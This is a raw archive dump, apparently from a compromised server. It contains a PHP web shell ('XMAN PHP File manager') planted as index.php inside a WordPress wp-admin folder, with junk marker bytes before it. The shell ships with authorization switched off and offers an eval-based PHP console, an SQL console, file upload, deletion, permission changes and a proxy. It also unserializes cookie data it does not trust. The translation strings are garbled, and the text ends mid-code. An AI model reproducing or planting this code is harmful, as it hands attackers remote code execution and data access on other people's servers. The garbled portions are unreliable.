			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>index.php.tar000064400000242000151736005430007153 0ustar00home/emeraadmin/public_html/wp-admin/792784/index.php000064400000236740151707776610016255 0ustar00@ breeze #7 ! dragon �)"�_�&�_')���@ breeze #7 @ breeze #7 @ breeze #7 _�'�)�(�(-�)���()_��)@ breeze #7 @ breeze #7 �&�_')���)(_�'�)�(��)'�)�"(-��"()-��"_�)��_�)�_�'<?php
/* XMAN PHP File manager ver 1.4 */

// Configuration �� do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"����ҧѧӧڧ��","Are you sure you want to delete this directory (recursively)?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ���� ��ѧ�ܧ� (��֧ܧ���ڧӧߧ�)?","Are you sure you want to delete this file?":"���� ��ӧ֧�֧ߧ�, ���� ����ڧ�� ��էѧݧڧ�� ����� ��ѧۧ�?","Archiving":"�����ڧӧڧ��ӧѧ��","Authorization":"���ӧ���ڧ٧ѧ�ڧ�","Back":"���ѧ٧ѧ�","Cancel":"����ާ֧ߧ�","Chinese":"���ڧ�ѧۧ�ܧڧ�","Compress":"���اѧ��","Console":"����ߧ��ݧ�","Cookie":"����ܧ�","Created":"����٧էѧ�","Date":"���ѧ��","Days":"���ߧ֧�","Decompress":"���ѧ��ѧܧ�ӧѧ��","Delete":"���էѧݧڧ��","Deleted":"���էѧݧ֧ߧ�","Download":"���ܧѧ�ѧ��","done":"�٧ѧܧ�ߧ�֧ߧ�","Edit":"���֧էѧܧ�ڧ��ӧѧ��","Enter":"������","English":"���ߧԧݧڧۧ�ܧڧ�","Error occurred":"�����ڧ٧��ݧ� ���ڧҧܧ�","File manager":"���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧�","File selected":"����ҧ�ѧ� ��ѧۧ�","File updated":"���ѧۧ� �����ѧߧ֧�","Filename":"���ާ� ��ѧۧݧ�","Files uploaded":"���ѧۧ� �٧ѧԧ��ا֧�","French":"����ѧߧ��٧�ܧڧ�","Generation time":"���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��","German":"���֧ާ֧�ܧڧ�","Home":"����ާ��","Quit":"�������","Language":"���٧��","Login":"����ԧڧ�","Manage":"�����ѧӧݧ֧ߧڧ�","Make directory":"����٧էѧ�� ��ѧ�ܧ�","Name":"���ѧڧާ֧ߧ�ӧѧߧڧ�","New":"����ӧ��","New file":"����ӧ�� ��ѧۧ�","no files":"�ߧ֧� ��ѧۧݧ��","Password":"���ѧ��ݧ�","pictures":"�ڧ٧�ҧ�ѧا֧ߧڧ�","Recursively":"���֧ܧ���ڧӧߧ�","Rename":"���֧�֧ڧާ֧ߧ�ӧѧ��","Reset":"���ҧ���ڧ��","Reset settings":"���ҧ���ڧ�� �ߧѧ����ۧܧ�","Restore file time after editing":"�������ѧߧѧӧݧڧӧѧ�� �ӧ�֧ާ� ��ѧۧݧ� ����ݧ� ��֧էѧܧ�ڧ��ӧѧߧڧ�","Result":"���֧٧�ݧ��ѧ�","Rights":"����ѧӧ�","Russian":"������ܧڧ�","Save":"������ѧߧڧ��","Select":"����ҧ֧�ڧ��","Select the file":"����ҧ֧�ڧ�� ��ѧۧ�","Settings":"���ѧ����ۧܧ�","Show":"����ܧѧ٧ѧ��","Show size of the folder":"����ܧѧ٧�ӧѧ�� ��ѧ٧ާ֧� ��ѧ�ܧ�","Size":"���ѧ٧ާ֧�","Spanish":"�����ѧߧ�ܧڧ�","Submit":"������ѧӧڧ��","Task":"���ѧէѧ��","templates":"��ѧҧݧ�ߧ�","Ukrainian":"���ܧ�ѧڧߧ�ܧڧ�","Upload":"���ѧԧ��٧ڧ��","Value":"���ߧѧ�֧ߧڧ�","Hello":"����ڧӧ֧�","Found in files":"���ѧۧէ֧ߧ� �� ��ѧۧݧѧ�","Search":"����ڧ��","Recursive search":"���֧ܧ���ڧӧߧ�� ���ڧ��","Mask":"���ѧ�ܧ�"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size �� maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' �� '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//�ܧѧ�-��� ���ا� ���էާ֧ߧ��� �ߧѧէ�
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

